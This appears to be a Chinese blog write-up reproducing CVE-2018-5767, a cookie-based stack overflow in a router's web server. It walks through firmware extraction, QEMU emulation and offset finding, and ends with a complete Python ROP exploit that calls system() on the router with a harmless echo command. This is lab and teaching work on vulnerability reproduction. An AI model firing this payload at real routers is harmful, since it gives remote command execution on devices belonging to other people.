文章27
标签0
分类4

CVE-2018-5767路由器缓冲区溢出漏洞复现

一、前言

漏洞产生的原因是未对用户的输入进行合理的限制而直接使用sscanf函数拷贝到栈上,从而引发的栈溢出。

二、固件提取

下载固件后,通过binwalk工具导出固件文件系统,进入squashfs-root文件夹。

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin.extracted/squashfs-root/

三、固件仿真

用qemu用户模式、chroot启动/bin/httpd文件

sudo apt install qemu-user-static libc6-arm* libc6-dev-arm*
cp /usr/bin/qemu-arm-static .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

屏幕截图_20221201_144224.png

输出"Welcome to..."后程序就卡这了,使用IDA定位字符串位置:

屏幕截图_20221201_144615.png

使用Keypatch将两个位置修改为#1跳出死循环

I<code>PP3</code>O_F{O7RXXD31VC8)4.png

修改后:

屏幕截图_20221201_145819.png

再次执行程序,已经在正常监听端口了,但是IP不对:

屏幕截图_20221201_150012.png

需要新建一个名为br0的网卡:

sudo brctl addbr br0
sudo ifconfig br0 192.168.2.3/24

屏幕截图_20221201_150551.png

获取到本机ip

屏幕截图_20221201_150621.png

cp -rf ./webroot_ro/* ./webroot/

然后就可以打开web界面了

屏幕截图_20221201_150938.png

三、漏洞利用

cve公布的poc中知到漏洞点位于R7WebsSecurityHandler函数中,由于未对用户的请求进行合理的限制而直接使用sscanf函数讲用户输入复制到栈上。

屏幕截图_20221201_151307.png

没有限制用户输入的cookie的长度,sscanf在解析参数时没有限制参数的长度,导致栈溢出。
输入的url要进入if语句就得构造:/goform/xxxxx类似的语句

屏幕截图_20221201_151521.png

先用脚本使其出发栈溢出崩溃

import requests
URL = "http://192.168.2.3:80/goform/wdnmd"
cookie = {"Cookie":"password="+"a"*0x400}
requests.get(url=URL, cookies=cookie)

启动

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

gdb调试断在退出函数时的地址

gdb-multiarch ./bin/httpd
target remote :1234
b *0x002ED18
continue

运行python脚本,发现程序并没有正常退出函数,而是断在了其他位置.
用bt发现0x2c5cc在溢出后被执行

屏幕截图_20221201_152324.png

看漏洞点,url中只要存在gif、png、js、css、jpg、jpeg这样的字符串就会

屏幕截图_20221201_152457.png

确定偏移量:

cyclic 1000
import requests
url = "http://192.168.2.3/goform/wdnmd"
cookie = {"Cookie":"password="+"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj"+ ".png"}
requests.get(url=url, cookies=cookie)

屏幕截图_20221201_153247.png

cyclic可以确定偏移量为444。

通过checksec检查http程序,发现开启了NX保护,所以无法直接在栈上执行shellcode,所以寻找gadgets来构造rop链。

利用思路:需要找到system函数地址,并将system函数地址存入某个寄存器,将system函数参数传入R0寄存器,并跳转到system函数地址所在的寄存器。

首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py
所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff60acd4,在IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff60acd4 - 0x35cd4 = 0xff5d5000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。

屏幕截图_20221201_154725.png

找gadget:

0x00040cb8   mov r0, sp; blx r3;
0x00018298   pop {r3, pc};

exp:

import requests
from pwn import *

cmd="echo hacker!"
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8


payload = "A"*444 +".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = "http://192.168.2.3/goform/wdnmd"
cookie = {"Cookie":"password="+ payload}
requests.get(url=url, cookies=cookie)

4、参考链接

https://xz.aliyun.com/t/11793
https://zhuanlan.zhihu.com/p/468018356

0 评论

评论已关闭

">